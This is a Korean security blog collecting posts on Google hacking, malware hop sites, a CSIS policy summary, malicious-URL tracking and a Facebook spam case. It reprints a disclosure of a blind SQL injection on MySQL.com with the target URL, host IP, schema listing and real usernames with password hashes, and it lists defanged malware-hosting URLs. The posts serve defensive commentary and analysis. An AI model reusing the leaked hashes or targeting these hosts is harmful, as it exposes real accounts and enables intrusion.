구글을 이용한 정보 유출에 관련된 내용. 특별할 것은 없다. 여기에서 언급된 FTP 검색과 같은 경우 민감한 데이터들이 보호되지 않은 상태에서 나타날 경우 언제든지 외부에 의해 검색 될 수 있다는 점이고 . 예일대의 개인정보 유출 사건과 같이 FTP에 올려진 데이터가 검색에 의해 드러나는 경우를 예로 들고 있다. 


구글을 이용한 공격정보 획득은 이미 오래전 부터 이루어 지고 있고 지금도 활발하게 이루어 지고 있다. 고급검색을 통해 특정 URL과 인자를 조회하고 그 부분에 대해서 공격하는 기법, 파일 검색을 통한 정보 유출들은 일상적으로 있어온 일이다. 고급검색을 통한 URL 검출과 인자 검출 부분을 대응하기 위해서는 전체를 검사해야 하는 문제가 있고 이 문제는 앞으로도 오랜기간 지속 될 것이다. .

* 이 구글 해킹은 상당히 오래된 내용이며 단일 도메인에 대해서 공격을 하는 것은 이미 2005년에 출현을 하였다. 이 이전에 있던 것은 구글 도메인이 아닌 다른  유형의 php worm 이나 악성코드들이 있었으나 구글이 검색에서 주도권을 쥔 이후에는 이제 모두 이걸 이용한다. 그렇다고 구글에서 차단을 해 보았자 일정기간내의 횟수를 초과할 경우에만 제한이 걸리는데 이걸 공격자들은 가볍게 우회한다. 프락시 이용으로...

2005년에 출현한 것인 단일 도메인에 대한 공격 이였다면 2008년 무렵부터 지금까지 출현하는 대부분의 공격도구들은 전체를 대상으로 하고 있다. 불특정 도메인 ( 검색 조건에 맞는 모든 도메인이 해당된다. 특정 확장자에 특정 인자 사용 ..) 을 대상으로 공격과 악성코드 유포 시도를 반복하고 있다.

분명한 것은 지금의 공격 양상은 이 글을 읽는 분들이 생각하시는 것보다 휠씬 더 대규모이고 정교하다는 점이다. 이래서 대응이 어려운 것이기도 하고...

< 공격도구의 한 예이다. >

Epson, HSBC Korea, domain registrar hacked: 100,000 domains affected

http://www.zdnet.com/blog/btl/epson-hsbc-korea-domain-registrar-hacked-100000-domains-affected/55864
 

잭 휘태커에 의해 리스트된 가비아 해킹 사고. 해외에서 이런 기고를 보는 친구들은 어떻게 볼까?. 레지스타가 해킹 되어 주요 도메인을 포함한 10만개 이상의 도메인이 해킹 당한것으로 보이는 현실에서 단순한 문제라고 치부할 것인가? 근원적인 문제를 고민 해야 한다. 1.25때에도 DNS 가 문제가 되어 전체 서비스 연결이 안되었듯이 ( 서비스는 다 살아 있었다. 주소 매핑만 안되었을 뿐이지.) 앞으로도 동일한 현상은 심각한 문제라고 봐야 된다.


덧붙여 SK 컴즈의 해킹 사고에 대해서도 언급을 하고 있다. 해외에서 국내의 이슈에 대해 직접 언급 하는 것으로 볼때 이제 세상에 비밀이란 없고 우리끼리만 아는 것도 없는 것 같다. 


공격과 수비의 조합은 절묘해야 팀이 이루어 진다. 공격보다 수비가 어려운 것은 지금의 축구에서도 당연한 일이다.


* 이 부분에 대해서는 별도 언급을 할 필요조차 없다. 공격을 하는 것은 한 지점과 한 부분을 노려서 목적을 달성 할 수 있지만 수비를 한다는 것은 성을 수비하는 것과 같다. 항상 꾸준하고 전술의 변화를 볼 수 있어야 하고 공격 전술의 변화에 따라 능동적으로 대응을 해야 한다.

말이 쉽지.. 전체의 수준을 일정 수준이상 올린 이후에 변화를 따라가고 수성을 한다는 것은 최소한 공격보다 열배 이상.. 아니 그 이상의 노력과 진지함이 필요하다는 것이다.
공격진의 헛발질은 애교이지만 수비진의 헛발질은 자멸이다. 그렇다고 모두가 다 공격일변도로 나갈 것인가? 정말 어려운 것은 공격이 아닌 막는다는 게 더 어렵다는 것을 인식 해야 한다.  우리에게 정말 필요한 것은 이런 막을 수 있는 전략가의 부재와 인력풀의 협소함, 경영층의 인식 부족이 가장 큰 걸림돌이 될 것이다.

 

Android-becoming-windows-of-mobile-hacking-world
 

http://www.itpro.co.uk/635725/android-becoming-windows-of-mobile-hacking-world 

 

안드로이드를 Windows에 비교한 기사. 정확하게는 현재의 윈도우 시스템이 아닌 2000년 초반기의 윈도우쯤 될 것이다. 시스템 서비스의 문제로 인한 웜의 범람이 극대화 되었던 그 당시의 윈도우 시스템쯤 될 것이다. 안드로이드가 확대 되면 될수록 공격은 더 진지해 질 것이고 대응은 더 어려워 질 것이다. 대응을 위해서는 기존에 실험하지 못한 새로운 방안들이 도입이 되어야 할 것이다. 패턴 매칭은 이제 규모에 밀려 한계를 가지게 될 것이고 사전 대응이 아닌 사후 처리 용으로 사용하게 될 것이다.


지금의 백신들이 사전대응이라고 생각 하면 오산이다. 이미 확산되고 정체가 확인된 것들을 제거 하는 사후 처리용. 악성코드의 생존기간이 짧고 확산은 빠르고 대규모인 특징이 전세계 AV 업계 전체를 패전처리용으로 몰고 있다. 갈길은 아직 멀었다.

 


* 사용자가 몰리고 제한이 허술하면 당연히 공격은 증가하게 마련이다. 애플도 안심 할 수 있을까? 그나마 애플은 전수검사라도 하지 안드로이드는 안습니다.  전수검사를 해도 한계가 있고 심각한 문제들이 발생 하는데 그렇지 않은 곳은 계속 문제가 발생 된다. 

안드로이드도 마찬가지 상황이 되겠지만 현재의 인터넷 상황은 공격자들의 일방적인 학살과 다름이 없다. 보호를 받고 노력을 기울이는 곳들은 방문자들의 환경 (즉 PC)이 초토화 되어 서비스적인 위험에 노출되어 있고 그렇지 않은 노력을 기울이지 않는 곳들은 그냥 열려 있는 상태이다.  그렇다면 일반 사용자의 환경은 언급하기 어려울 정도로 피폐해진 상황이라 볼 수 있다.

누가 백신을 사전대응이라 하는가? 지금의 양상은 단상에 언급했듯이 전세계 AV 업체 모두가 패전처리용에 몰린 상태라고 봐야 된다. 공격자들의 도구의 활용과 전술의 변화는 AV 뿐 아니라 대부분의 보안업체를 규모에서 압도하고 관찰까지 하는 여유를 보이고 있다. 관찰의 의미는 대응여부를 확인하고 바로바로 변화를 준다는 의미이다.

3일만에 대응이 가능한 AV 업체가 있을까? 구글의 stopbadware는? 날마다 바뀌는 코드의 종류를 탐지가 가능할까? .. DNA를 이용한 검증 조차도 무력화 시키는 도구들이 일상적으로 사용 되고 있는데 앞으로 보안업체 모두가 고난의 시간을 걸어야 할 것이다. AV는 물론이고 정통적인 보안업체들도 마찬가지 이리라.

결론은 지금의 짧은 호황을 좋아 하기에는 상황이 심각하다는 점을 알아야 된다는 이야기이다.

- 바다란 세상 가장 낮은 곳의 또 다른 이름



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Posted by 바다란


악성코드 경유지의 변화가 매우 극심하다.  2011년 6.25~26일 기준

어제부터 대체 몇번을 바꿔치기 하는지. 분명히 웹서비스는 공격자들의 소유가 맞다.
사업자는 잠시 임대를 했을뿐.

 

어제, 오늘의 변화를 생략하더라도 현재 상황 5종류의 경유지들이 8개 이상의 파일공유 사이트 소스에 추가되어 사용자에게 악성코드를 유포하고 있다. 물론 파일 공유사이트 이외에도 다른 서비스들에도 여러 종류들이 활동하고 있다. 전체적으로 경유지 수치는 이틀 사이에 10곳 이상이 활동중에 있다.

 

특이한 것은 지난번에도 한번 언급했는데.. 시카고와 덴버에 IDC를 가지고 있는 DDos를 전문적으로 대응하는 ISP라고 광고하고 있는 SHARKTECH INTERNET SERVICES 라는 미국 회사의 서비스 대역을 대규모 경유지로 활용하고 있다.


 


 

 

순차적으로 경유지 IP를 변경하면서 사용하고 있는데 .. 지난번 관찰 결과도 보면 호주와 미국의 ISP를 통으로 이용하고 있던데... (이미 해외 ISP의 직접 활용은 3주 이상 관찰이 된바 있다. 대역대를 활용하는 걸로 보아 직접 권한을 가지고 있는 것으로도 볼 수 있다.)


즉 공격자는 전 세계를 무대로 하고 있고 악성코드 유포를 위해 국내 사이트도 직접 해킹을 하고 웹서비스를 변경하며 경유지로 활용하기 위해 해외 주요 ISP 대역을 휩쓸며 악의적인 링크들을 직접 생성하고 올리고 있다. 현재 관찰된 결과는 전 세계적인 활동을 직접하며 이익을 창출 하고 있다는 점이다.  전 세계적인 활동을 하는 공격자들에 대해 국지적인 대응은 효과가 어려울 것이다. 전 세계의 수준을 일정수준이상 올릴 수 있을까?..

앞으로도 불가능해 보인다.
 

이번 샤크테크 ISP의 특징이라고 할 수있는 DDoS 대응 특화를 하면 뭐하누? 정작 내부는 만신창이인데.. 이 나라의 인터넷을 공격하고 이득을 얻는 공격자들은 글로벌 하게 놀고 있다.

http://www.sharktech.net/index.php?ID=aboutus&PG=2

 

앞으로도 매우 어려운 싸움이 될 것이다. 사실은 싸움의 상대도 되지 않지만 ...

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Posted by 바다란
현재 상황에서 장기적 방향 설정에 도움이 될까 싶어 예전 공유한 내용을 게재합니다.


2011년 1월에 발표된 문서입니다.
CSIS에서 발표한 문서인데 간략한 구성을 가지고 있습니다.

간략하게 요약하면 다음과 같습니다.
"미국내의 보안적인 노력들은 여전히 부족한 부분을 가지고 있다.
 다양한 부분에서 노력을 하고 있지만 현재의 위협을 감당하기에는 여러 부분에 걸쳐서 부족하다."

미국은 사이버 보안을 국가의 안보를 위협하는 치명적인 요소로 2008년 부터 규정하고 진지한 노력을 해왔지만 2008년 이후 나타난 위협은 더 극한적인 상황에 내몰리고 있는 상황이다. 따라서 진지한 노력이 필요하고 지금까지 해오던 노력들의 재 점검과 방향성 검토가 필요하다 정도로 요약이 됩니다.

필요한 열가지 노력들에 대해서 언급을 했는데 고민을 해야 할 부분 같습니다.



1. 국가 우선순위로서 사이버 보안에 대한 인식과 연방정부 차원의 리더쉽과 조직력 배양을 위한 노력.
  - DHS와 DoD의 역할 분담과 더 추가적인 노력 부분들에 대해서 언급 합니다. 아인슈타인을 통해서 "Cloud"보안을 연방 정부 기관내에 구축하고 있으나 현실적으로 현재의 위협을 감당하기에는 부족함이 있다고 언급합니다.



2. 국가 기반시설의 사이버 보안에 대한 명확한 권한과 규정의 필요함과 프라이빗 영역과의 새로운 공조 방안의 개발 필요
 - OMB 언급 됩니다. (예산 관리청 입니다.)



3.   글로벌 인터넷을 위한 새로운 비전 창출을 위한 정책 제시 필요함. 사이버 공간상에서의 악의적인 행동들의 인과 관계와 통제에 대한 새로운 접근 방안, 사안 규정을 위한 미국의 힘의 집중을 통해 해외국가의 정책을 만들도록 하는 것 필요



4. 발전된 해외로 부터의 위협에 대해 첩보,군사 정보 능력의 활용을 확장한 역량 필요



5. 디지털 기술 채택을 통한 명확한 규칙과 프로세스를 통해 개인과 시민의 자유를 위한 시야를 강화



6. 국가기반시설에 대한 신원인증의 강화  ( 물리적, 온라인적)



7. 적합한 사이버 보안 기술의 채택을 통한 확장된 영역 구축
 - Human capitalism으로 촉발된 인력 유출의 위기에 대한 대안으로 제시하고 있습니다. 아마도 국가기관이나 연방기관에서의 민간 기술의 획득 및 가치에 대한 활용을 활발하게 할 것을 권고 하는 것으로 보입니다.



8. 보안이 강화된 제품과 서비스를 사용하도록 시장을 리딩하기 위해 연방 제품의 조달 관련 정책을 변경하는 것이 필요



9.  정책과 법적인 프레임웍을 재구성하여 정부차원의 사이버 보안 행동을 가이드 한다.



10. R&D는 사이버 보안의 어려운 문제에 집중하도록 하고 문제를 명확하게 하도록 하며 조정자의 관점에서 펀딩을 할당 하도록 하여 지원을 할 수 있도록 한다.




이상과 같이 간단하게 정리 했습니다. 여기는 국가기관 차원에서 민간 부분을 선도하고 가이드 하고 방향성을 제시할려고 하고 있습니다만 우리와는 조금 다른 측면이 있습니다. 역할도 그렇구요. ^^;

문서를 보시면 자세히 잘 나옵니다만 번역 관계 없이 주요 포인트들만 생각대로 의역 했습니다. 참고 하시고 보시면 될 것 같습니다.


다른 기사로는  DHS(국토안보부)에서 4000만 달러의 상금을 걸로 14개 가량의 기술적 분야에 대해 정부기관이나 인터넷 분야에서의 혁신적으로 보안성을 강화 시킬 수 있는 구조에 대해서 상금을 걸고 있습니다. 기술적 분야 하나 마다 400만불 가량의 상금을 걸고 있어서 좀 더 제안들이 구체화 될 것으로 보입니다. 

- 바다란 세상 가장 낮은 곳의 또 다른 이름
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Posted by 바다란
Web application의 취약성으로 인해 DB 정보가 유출 되었군요.  Oracle에 인수된  Mysql 과 Sun 모두 Blind sql injection으로 인해 기업의 중요 정보가 유출 되었습니다. 참고적으로 볼만 하네요. 세계적인 IT 대기업조차 이런 상황입니다. 이걸 찾아내고 문제점을 검증하고 개발자가 개발시에 웹 어플리케이션의 취약성을 사전 인지 할 수 있도록 하는 것이 제가 만든 서비스의 기본 모토입니다.

특히  Web의 경우는 개발기간이 짧고 변화가 많아 기존의  SDLC로는 커버가 안됩니다. 새로운 방향의 개발 보안 프로세스가 필요하고 거기에는 시간과 접근성, 비용이 모두 효과적이고 효율적인 서비스로서의 접근이 타당하다는 생각입니다.

Malware link detect service 와 Web application scan service는 둘 다 웹상에서 접근하고 확인할 수 있도록 되어 있습니다. 두 서비스가 IT 세상을 또 극적으로 바꿀 것입니다.

* DB 정보를 볼 수 있으려면 이미 권한은 획득한 것이고 여기에서 악성코드 유포나 백도어가 만들어 지는 것도 특별한 일은 아니겠죠. mysql.com만 해도 어마어마한 방문자 리스트를 가질테니 말입니다.

http://nakedsecurity.sophos.com/2011/03/27/mysql-com-and-sun-hacked-through-sql-injection/
 

Proving that no website is ever truly secure, it is being reported that MySQL.com has succumbed to a SQL injection attack. It was first disclosed to the Full Disclosure mailing list early this morning. Hackers have now posted a dump of usernames and password hashes to pastebin.com.

MySQL hashes on Pastebin

Most embarrassingly, the Director of Product Management's WordPress password was set to a four digit number... his ATM PIN perhaps? Several accounts had passwords like "qa". The irony is that they weren't compromised by means of their ridiculously simple passwords, but rather flaws in the implementation of their site.

Sun SQL disclosureMySQL's parent company Sun/Oracle has alsobeen attacked. Both tables and emails were dumped from their databases, but no passwords.

It does not appear to be a vulnerability in the MySQL software, but rather flaws in the implementation of their websites.

Auditing your websites for SQL injection is an essential practice, as well as using secure passwords.

Either can lead you down a road that ends in tears. If you haven't reviewed your web coding practices, this might be a good time to perform an audit of your public-facing assets to be sure your organization won't become the next headline.

It was noted on Twitter that mysql.com is also subject to an XSS (cross-site scripting) vulnerability that was reported in January 2011 and has not been remedied.

http://seclists.org/fulldisclosure/2011/Mar/309?utm_source=twitterfeed&utm_medium=twitter
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[+] MySQL.com Vulnerable To Blind SQL Injection vulnerability
[+] Author: Jackh4xor @ w4ck1ng
[+] Site: http://www.jackh4xor.com
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About MySQL.com :
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The Mysql website offers database software, services and support for your business, including the Enterprise server, 
the Network monitoring and advisory services and the production support. The wide range of products include: Mysql 
clusters, embedded database, drivers for JDBC, ODBC and Net, visual database tools (query browser, migration toolkit) 
and last but not least the MaxDB- the open source database certified for SAP/R3. The Mysql services are also made 
available for you. Choose among the Mysql training for database solutions, Mysql certification for the Developers and 
DBAs, Mysql consulting and support. It makes no difference if you are new in the database technology or a skilled 
developer of DBA, Mysql proposes services of all sorts for their customers. 
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Vulnerable Target  :   http://mysql.com/customers/view/index.html?id=1170
Host IP                  :   213.136.52.29
Web Server           :   Apache/2.2.15 (Fedora)
Powered-by           :   PHP/5.2.13
Injection Type        :   MySQL Blind
Current DB             :   web

Data Bases:    

information_schema
bk
certification
c?ashme
cust_sync_interim
customer
dbasavings
downloads
feedback
glassfish_interface
intranet
kaj
license_customers
manual
manual_search
mem
mysql
mysqlforge
mysqlweb
news_events
partner_t?aining
partners
partners_bak
phorum5
planetmysql
qa_contribution
quickpoll
robin
rp
sampo
sampo_interface
sessions
softrax
softrax_interim
solutions
tco
test
track
track_refer
wb
web
web_control
web_projects
web_training
webwiki
wordpress
zack

Current DB: web

Tables

xing_validation        
v_web_submissions      
userbk 
user_extra     

user  Columns: cwpid version lead_quality sfid industry address2 created last_modified lang notify newsletter gid title 
fax cell phone country zipcode state city address business company position lastname firstname passwd verified bounces 
email user_id

us_zip_state   
us_area_state  
unsub_log      
trials 
trial_external_log     
trial_data     
trial_alias    
training_redirect      
tag_blacklist  
tag_applied    
tag    
support_feeds_DROP     
support_entries_DROP   
states 
snapshots_builds       
snapshots      
sakilapoints   
regions        
quote_customer 
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coupon 
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bounces        

Database : mysql
Table:

user_info    

user     Column: Update_pri Insert_priv Select_priv Password User Host

time_zone_transition_type    
time_zone_transition    
time_zone_name    
time_zone_leap_second    
time_zone    
tables_priv    
slow_log    
?ervers    
procs_priv    
proc    
plugin    
ndb_binlog_index    
inventory    
host    
help_topic    
help_relation    
help_keyword    
help_category    
general_log    
func    
event    
db    
columns_priv


# mysql.user Data

Password                                      User            Host
                                                wembaster     %
                                            monitor     10.%
                                            sys             %
                                            sys             localhost
*06581D0A5474DFF4D5DA3CE0CD7702FA52601412     forumread     %
*0702AEBF8E92A002E95D40247776E1A67CD2CA3F     wb             %
*2A57F767D29295B3CB8D01C760D9939649483F85     flipper     10.%
*32F623705BFFFE682E7BD18D5357B38EF8A5BAA9     wordpress     %
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*ED1BDC19B08FD41017EE180169E5CEB2C77F941A     mysqlforge     %
*FD75B177FFEC3590FE5D7E8459B3DDC60AE8147B     webleads     10.%
00680dd718880337                             olof             %
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2277fd7d562ec459     webslave     %
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4e203d581b756a93     webmaster     %
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61711eea3de509ac     merlin     127.0.0.1
6302de0909a369a1     ebraswell     %
6b72b2824cc7f6fe     mysqlweb     %
6ffd2b17498cdd44     zack     %
70599cf351c6f591     repl     %
740284817e3ed5a8     webwiki     %
74c5529b41a97cc2     web_projects    

Databsae: web_control

Table:
system    
system_command    
service_request    
run_control    
request_daemon    
rebuild_server    
rebuild_queue    
rebuild_control    
quarterly_lead_report    
newsletter_log    
newsletter_control    
ips    
hosts  Columns:notes description name
dns_servers Columns: name internal ip


Database: certification

Tables:
signup    
corpcustomers    
certexamdata    
certcandidatedata    
certaccess


Database: wordpress

Tables:

wp_4_term_taxonom    
wp_4_term_relationships    
wp_4_posts    
wp_4_postmeta    
wp_4_options    
wp_4_links    
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wp_3_terms    
wp_3_term_taxonomy    
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wp_2_term_taxonomy    
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wp_1_terms    
wp_1_term_taxonomy    
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wp_10_term_taxonomy    
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remove_queries



Database: bk

Table:
wp_backupterm_taxonomy    
wp_backupterm_relationships    
wp_backupposts    
wp_backuppostmeta    
wp_backupoptions    
wp_backuplinks    
wp_backupcomments


-----------------------------------------------------------------------------------
Signed : Jackh4xor ! 

Greetz : rooto, Mr.52, zone-hacker, w4ck1ng

(In)Security
-------------------------------------------------------------------------------------

 
저작자 표시
Posted by 바다란

여기 나온 악성코드 경유지 주소들 보다 더 많은 정보들이 있다.

그러나 그 정보들은 오픈하기가 어려운 상태.

 

IP를 기반으로 철저하게 백도어 용도로 이용이 되고 있고 순식간에 전체를 바꿔치기 한다.

정보를 오픈하면 바꾸고 오픈하지 않으면 그냥 둔다. 하루에도 두세번 바꾸는건 일도 아니다.

 

대부분 국내 서비스 해킹하고 IP주소를 이용해 악성코드 다운로드 링크들을 올려 둔다.

이걸 국내 주요 사이트들에다 추가 하는 형식. js 파일내에 document.write 를 이용해 쓰거나

css 파일에 추가 또는 iframe으로 추가 한다.

 

근본 적인 취약성은 그대로 있는데 이 링크만 지운다고 없어질까? 

다 부질 없는 짓이다. 

 

암의 근본 원인 제거 없이 겉으로 흐르는 피만 닦아 내고 밴드를 붙인다고 해서 상처가 없는건 아니다.

다만 보이지만 않을 뿐. 언제든 나타난다. 계속해서..

 

자동화된 악성코드 저작 도구가 있다고 해서 널리 퍼지는 것은 아니다.

이젠 대규모로 글로벌 하게 퍼트릴 수 있는 방안이 있어서 크게 문제가 되는 것이다.

 

왜 더 이상 한국에 특화된 바이러스가 없을까?. 특화된 악성코드도 없고 말이다.

전 세계 어디에서나 찾아 볼 수 있다. 근본을 모르면 계속 휘둘리게 마련이다.

 

보안 전문가들이나 보안 회사들, 정책 당국은 이점을 명심 해야 한다.

예전에도 자동화된 악성코드 제작 도구는 있었다. 단 지금 만큼의 속도는 아니였다.

그러나 예전에도 이렇게 흔들렸던가? 전 세계 전문 인력들이 지쳐 쓰러질 만큼 힘들 정도 였던가?

규모의 경제를 갖춘 회사만이 버틴다. ( 전문인력의 대규모 보유) . 나머지는 다 지쳐 쓰러진다.

 

지금 문제는 확산 매커니즘이다. SNS와 취약한 웹서비스를 통해 자동으로 설치되는 악성코드가 확산의 주된 매커니지늠이다. 이걸 잊지 마라. 앞으로도 계속 된다. 그 누구도 멈출 수 없다. 발상의 전환이 없다면 말이다.

 

- 바다란 세상 가장 낮은 곳의  또 다른 이름

 

 * 매번 자세하게 썼지만 애써 보려 하지 않는 사람들이 많아 앞으로도 계속 꾸준하게..또 자세히 쓸 예정입니다. 

 

http://blog.websanitizer.com/ko/?p=588

 

최근 악성코드가 유포되는 과정은 일반적으로 다음과 같습니다.

  • 인터넷 등에서 감염된 파일을 다운로드하여 PC에서 실행하여 감염되는 경우
  • 스팸 메일의 첨부 파일을 실행하여 감염되는 경우
  • USB 메모리와 같은 이동형 매체를 통해 감염되는 경우
  • 웹 취약점이나 해킹 등으로 변조된 웹사이트를 방문하는 과정에서 감염되는 경우

이 과정 중에서 1, 2, 3 항목은 안티바이러스 및 안티스팸 솔루션에서 해결하는 경우가 많습니다. 물론, 새로운 악성코드가 발생하는 경우에 미처 대처하지 못하는 경우도 있습니다. 안티바이러스 업체에서는 이러한 한계점에 대해 다양한 연구 및 검토를 거쳐, 휴리스틱(인공지능), 클라우드, 화이트리스트, 샌드박시와 같은 첨단 기술을 이용하여 미연에 방지하고자 노력하고 있습니다.

당사에서 주목하고 있는 악성코드의 유포 환경은 바로 안전하지 않은 웹사이트의 방문으로 인해 사용자의 PC가 알지도 못하는 사이에 감염되는 경우입니다. 웹사이트 개발 초기에 보안에 관련된 사항을 고려하지 않아 발생하는 문제점으로 보통 서버의 취약점을 이용하여 해킹을 하거나 SQL Injection과 같은 웹취약점을 이용합니다.

특히, SQL Injection 취약점은 전체 웹사이트의 약 80% 이상 가지고 있을 정도로 매우 광범위하게 노출되어 있는 문제점으로 해결을 위해서는 웹방화벽이 주로 도입되고 있지만, 가장 근본적인 해결책은 웹소스 자체를 수정해야 합니다. 하지만, 웹 소스를 수정하기 위해서는 기술적, 시간적, 금전적 부담이 매우 커서 SQL Injection 취약점이 전세계에서 유행하기 시작한 2002년도부터 지금까지도 위험한 상태 그대로 인 경우가 많습니다.

최근에는 Mass SQL Injection 공격과 제로데이 취약점을 이용하는 악성코드가 결합하여 보다 강력한 전파력을 보이고 있습니다. 즉, SQL Injection 취약점이 있는 사이트의 DB에 제로데이 취약점을 이용하는 악성코드로 유도하게 하는 스크립트(JS)를 삽입합니다. 사용자가 이러한 사실을 모르는 상태로 이 웹사이트에 방문하는 경우에는 PC의 안티바이러스(백신)이나 최신 보안 패치가 적용되지 않는 경우에는 즉시 감염되게 됩니다.

당사에서는 이러한 악성 코드의 유포 정보를 수집하는 검색 엔진을 개발하여 이를 통해 9월 말부터 악성코드가 유포되는 URL을 수집하여 분석하 고 있습니다. 아래의 링크 가운데에는 기존에 이미 유포되었던 링크도 포함되어 있습니다. 왜냐하면, 악성코드가 유포되면 사이트 관리자가 이 부분을 인지하고 삭제하기 때문이며, 그 이후에 다시 같은 또는 유사한 URL을 삽입하는 행동이 반복되고 있습니다.

발견일 악성 URL

2010-12-03 hxxp://rozprodam.cz/index.xxx

2010-12-01 hxxp://tzv-stats.info/xx.php

2010-12-01 hxxp://www.pkupe.com/xx/pic.js

2010-12-01 hxxp://www.alahb.com/xxx/pic.js

2010-11-29 hxxp://www.jingmen.info/xx/pic.js

2010-11-27 hxxp://multi-stats.info/xx.php

2010-11-25 hxxp://www.yiqicall.com/xx/pic.js

2010-11-22 hxxp://www.xufu9.com/xx/pic.js

2010-11-18 hxxp://210.109.97.xxx/P.asp

2010-11-17 hxxp://110.45.144.xxx/S.asp

2010-11-17 hxxp://www.samdecaux.com/xx/img.js

2010-11-15 hxxp://mount-tai.com.cn/xxxxxx/img.js

2010-11-13 hxxp://www.zyxyfy.com/xx/pic.js

2010-11-12 hxxp://www.szdamuzhi.com/xx/img.js

2010-11-11 hxxp://121.254.231.xxx/w.asp

2010-11-10 hxxp://180.69.254.xxx/main.asp

2010-11-10 hxxp://www.qpbay.com/xxxxData/img.js

2010-11-06 hxxp://www.womenzz.com/xxxxxx/img.js – Mass SQL Injection 공격

2010-11-03 hxxp://www.cqgx.net/xx/img.js – Mass SQL Injection 공격

2010-10-31 hxxp://www.jdcmmc.com/xxx/img.js – ARP Spoofing + Mass SQL Injection 공격

2010-10-30 hxxp://www.gdkfzx.org.cn/Script/img.js – Arp Spoofing 공격

2010-10-29 hxxp://www.96363.com/upfiles/img.js – Mass SQL Injection 공격

2010-10-25 hxxp://www.winitpro.com.cn/xx/img.js

2010-10-23 hxxp://www.shrono.com/xx/img.js

2010-10-23 hxxp://121.254.235.xx/H.asp

2010-10-23 hxxp://a5b.xx/n.js

2010-10-23 hxxp://www.zzyaya.com/xx/img.js

2010-10-22 hxxp://www.3emath.com/~~~/img.js

2010-10-22 hxxp://125.141.196.1**/F.asp

2010-10-21 hxxp://www.thwg08.com/xx/img.js

2010-10-19 hxxp://www.igo88.com/xxx/img.js

2010-10-17 hxxp://222.231.57.xxx/r.asp

2010-10-16 hxxp://smaug.xx/portfoliox/tutorials.php

2010-10-16 hxxp://58.120.227.xxx/F.asp

2010-10-16 hxxp://789.fanli8.xx/tj.html?zhizun

2010-10-15 hxxp://www.sxsia.org.xx/images/xxxxx.js

2010-10-13 hxxp://www.xatarena.xxx/images/img.js

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2010-10-11 hxxp://318x.xxx/

2010-10-11 hxxp://210.109.97.XX/TT.asp

2010-10-11 hxxp://121.78.116.XX/TT.asp

2010-10-10 hxxp://www.lancang-mekong.xxx/uploadfile/img.js

2010-10-09 hxxp://www.aspder.xxx/1.js

2010-10-09 hxxp://kr.nnqc.xxx/cs.js

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2010-10-07 hxxp://118.103.28.XXX/R.asp

2010-10-07 hxxp://211.234.93.XXX/U.asp

2010-10-07 hxxp://175.124.121.XX/time.js

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2010-10-07 hxxp://211.234.93.XXX/U.asp

2010-10-06 hxxp://3god.xxx/c.js

2010-10-06 hxxp://318x.xxx

2010-10-06 hxxp://222.234.3.XXX/hh.asp

2010-10-06 hxxp://www.xhedu.xxx/

2010-10-05 hxxp://www.XXXXcollege.co.kr/zboard/data/yahoo.xx

2010-10-04 hxxp://iopap.upperdarby26.xxx/GUI.js

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2010-10-04 hxxp://211.233.60.XX/h.asp

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2010-09-29 hxxp://mysy8.xxx/1/1.js

 

 유포 URL을 클릭하면 해당 링크에 대한 분석 정보를 보실 수 있으며, 이 문서는 최신 악성코드 URL이 발견될 때마다 갱신됩니다.

운영하시는 사이트에서 이러한 문제점으로 어려움을 겪는 분들은 아래 자료를 참고하여 주십시오.

http://blog.websanitizer.com/ko/?p=422

그리고, 사업 및 기타 목적으로 제휴를 원하시는 업체 관계자분들은 아래 링크를 통해 연락 주시기 바랍니다.

http://blog.websanitizer.com/ko/?p=49

감사합니다.

저작자 표시
Posted by 바다란

얼마전 Facebook에서 대량의 메시지 및 어뷰징들이 있었습니다.
최근 판결난 기사를 보니 개인으로서는 상상하기 힘든 금액의 벌금을 부과 했더군요.

http://media.daum.net/digital/view.html?cateid=100031&newsid=20101007021016130&p=yonhap

최근에도 관련 이슈들이 계속 있어 왔습니다만 본 사건은 2008년에 있었던 사건입니다. 400만건이 넘는 스팸성 메시지를 페이스북 유저들에게 발송한 케이스로 벌금 부과액은 8억 달러가 넘습니다. 엄청난 금액이죠.

한가지 주의 깊게 볼 부분은 기사 내용중의 법원 판결 부분입니다.

"법원 기록에 따르면 페이스북은 쿠티에레즈가 피싱(phishing)을 통해 암호를 훔친 뒤 봇넷(botnet) 컴퓨터들을 이용해 페이스북 계정에 침입했다고 주장했다. 봇넷은 해커들에 의해 사용자도 모르는 사이에 스팸이나 바이러스 등을 전파하도록 하는 악성코드 봇(bot)에 감염된 컴퓨터 네트워크를 말한다. "

2008년에도 "애플과 보안 컬럼에서 설명 하였던 구조적 어뷰징은 존재하고 있었습니다. 이미 그 이전 부터 관련 현황을 살펴 보고 있었던 필자의 입장으로서는 좀 더 다른 해석이 가능합니다. 
문제가 되는 부분만 살펴 보겠습니다.

1.피싱을 통해 얼마만큼의 암호를 훔칠 수 있었을까요? 
2.봇넷을 이용해 페이스북 계정에 침입 할때 어떤 식으로?
3.단순한 스팸 메일 이였을까요?

위의 세가지 내용이 대표적인 문제라고 보입니다.
첫번째는 서구권에서는 아직 악성코드에 의한 정보 유출과 계정 정보의 획득에 대해 이해도가 그리 높지 않은 편입니다. 하다못해 보안 분야의 기업들 조차도 심각성에 대해 인지를 잘 못하고 있는 상황인데 법원등에서 이해를 할리 만무합니다.  일반적으로 피싱이란 메일등을 보내어 사용자가 클릭 하였을 경우 임의의 사이트로 이동을 하도록 하고 그곳에서 입력되는 정보를 공격자가 빼내어 가는 것을 말합니다. 실상 성공 비율이 높지 않으며 그 정체가 빨리 드러납니다.  그래서 Facebook에 접근하기도 전에 이미 정체가 파악이 되었을 가능성이 높습니다.

제가 보는 관점은 PC에 설치된 악성코드들을 이용해 페이스북 로그인 시에 입력되는 이메일과 패스워드를 확보 하였을 것으로 보입니다.  로그인 시의 키입력등을 가로채는 방안이 주로 사용 되었을 것입니다. ( 가로채는 방법은 하드웨어적인 키입력을 가로채는 것 이외에도 전송단계에서 가로채기, 브라우저에 올려지는 단계에서 가로채기등 다양한 기법들이 활용 되고 있습니다.) 

해외에서도 zeus 와 같은 봇넷이 활성화 되어 있고 수백만대 이상의 감염수치를 가지고 있음은 의심 할 수 없는 사실입니다.

두번째로 페이스북 계정에 침입 할때 봇넷을 이용하였다는 부분도 설명이 필요합니다. 이 부분은 첫번째 부분과 문제가 충돌 되는데 제가 보는 관점은 일단 정보 확보에만 봇넷을 이용하였을 것이고 이렇게 확보된 정보를 활용하여 몇몇 지점을 통해 페이스북에 로그인 하는 자동적인 프로그램을 활용 하였을 것입니다.

